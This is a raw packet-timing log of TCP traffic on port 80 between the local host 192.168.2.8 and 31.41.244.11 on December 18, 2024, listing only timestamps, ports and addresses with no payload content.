Dec 18, 2024 09:07:30.823488951 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.824261904 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.824434996 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.824472904 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.825479031 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.825505018 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.825524092 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.825555086 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.826668978 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.826719999 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.826823950 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.826864958 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.827971935 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.828116894 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.828166008 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.829327106 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.829344034 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.829391003 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.830557108 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.830596924 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.830744028 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.831474066 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.831871986 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.831885099 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.831913948 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.831933975 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.833061934 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.833239079 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.833277941 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.834295034 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.834445953 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.834491014 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.835366964 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.835421085 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.835585117 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.836455107 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.836972952 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.836988926 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.837027073 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.838217974 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.838232040 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.838270903 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.839350939 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.839479923 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.839487076 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.839519024 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.840737104 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.840882063 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.840923071 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.841897964 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.842048883 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.842091084 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.843170881 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.843337059 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.843377113 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.844557047 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.844572067 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.844614029 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.845668077 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.845724106 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.845963001 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.846143961 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.847043037 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.847192049 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.847230911 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.848283052 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.848334074 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.848433971 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.848476887 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.849530935 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.849708080 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.849754095 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.850986958 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.851006985 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.851032019 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.851042986 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.852016926 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.852086067 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.852148056 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.852190971 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.853436947 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.853452921 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.853486061 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.853497982 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.854603052 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.854628086 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.854662895 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.855845928 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.855890036 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.856009007 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.856050014 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.857150078 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.857198954 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.857286930 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.857326984 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.858485937 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.858514071 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.858522892 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.858540058 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.858582973 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.979621887 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.979684114 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.979934931 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.979947090 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.979989052 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.980125904 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.980372906 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.980864048 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.980900049 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.981391907 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.981436968 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.981951952 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.981964111 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.982016087 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.983359098 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.983370066 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.983413935 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.984100103 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.984110117 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.984138966 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.984184980 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.984965086 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.984999895 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.985305071 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.985341072 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.987586021 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.987601042 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.987670898 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.987670898 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.988450050 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.988461018 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.988490105 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.988511086 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.989137888 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.989180088 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.989317894 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.989355087 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.990140915 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.990180016 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.990331888 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.990367889 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.991265059 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.991285086 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.991308928 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.991336107 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.992163897 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.992325068 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.992367983 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.993175983 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.993356943 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.993400097 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.993792057 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.993803978 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.993833065 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.993882895 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.993894100 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.993937016 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.993998051 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.994082928 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.996625900 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.996675014 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.996818066 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.996861935 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.997706890 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.997751951 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.997889042 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.997930050 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.998204947 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.998245955 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.998658895 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.998701096 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.999346972 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.999380112 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.999424934 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.000338078 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.000480890 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.000513077 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.000530005 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.001377106 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.001549959 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.001591921 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.002401114 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.002412081 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.002444983 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.002456903 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.003367901 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.003483057 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.003515005 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.003552914 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.004266024 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.004303932 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.004452944 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.004597902 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.005387068 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.005420923 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.005574942 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.005606890 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.006438971 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.006475925 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.006783962 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.006817102 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.007412910 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.007448912 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.007554054 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.007591009 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.008466005 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.008513927 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.008658886 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.008697987 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.009392977 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.009572029 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.009620905 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.010492086 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.010603905 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.010627985 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.010668039 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.011358023 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.011398077 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.011523008 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.011667967 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.012461901 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.012485027 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.012502909 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.012518883 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.013458967 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.013771057 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.013811111 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.014468908 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.014630079 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.014667034 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.015316963 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.015372992 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.015887976 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.015923023 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.016566038 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.016612053 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.016710043 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.016798973 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.017462015 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.017541885 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.017616987 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.017662048 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.018450022 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.018501997 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.018605947 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.018721104 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.019685984 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.019709110 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.019723892 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.019746065 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.020328045 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.020338058 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.020358086 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.020368099 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.020375013 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.020395994 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.020416021 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.021246910 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.021281958 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.021399975 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.021445036 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.022238970 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.022289038 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.022509098 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.022546053 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.023350000 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.023389101 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.023483038 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.024292946 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.024333000 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.024410963 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.024446964 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.025291920 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.025338888 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.025371075 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.025414944 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.026292086 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.026369095 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.026407003 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.027324915 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.027367115 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.027441025 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.027934074 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.028321028 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.028357029 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.028434992 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.028471947 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.029290915 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.029326916 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.029407024 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.029448986 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.030437946 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.030489922 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.030566931 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.030605078 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.031389952 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.031434059 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.031619072 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.031656981 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.032305956 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.032350063 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.170603991 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.170660973 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.170743942 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.170953989 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.171147108 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.171283960 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.171901941 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.172056913 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.172096014 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.172847986 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.172898054 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.172974110 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.173018932 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.173877954 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.173933029 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.173993111 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.174088955 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.174949884 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.175025940 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.175040007 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.175075054 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.175995111 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.176032066 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.176172018 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.176419973 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.176923037 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.176971912 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.177020073 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.177129984 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.178073883 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.178347111 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.178392887 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.179095030 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.179250956 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.179292917 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.179964066 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.180007935 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:31.180083036 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:31.181010962 CET	80	49720	31.41.244.11	192.168.2.8
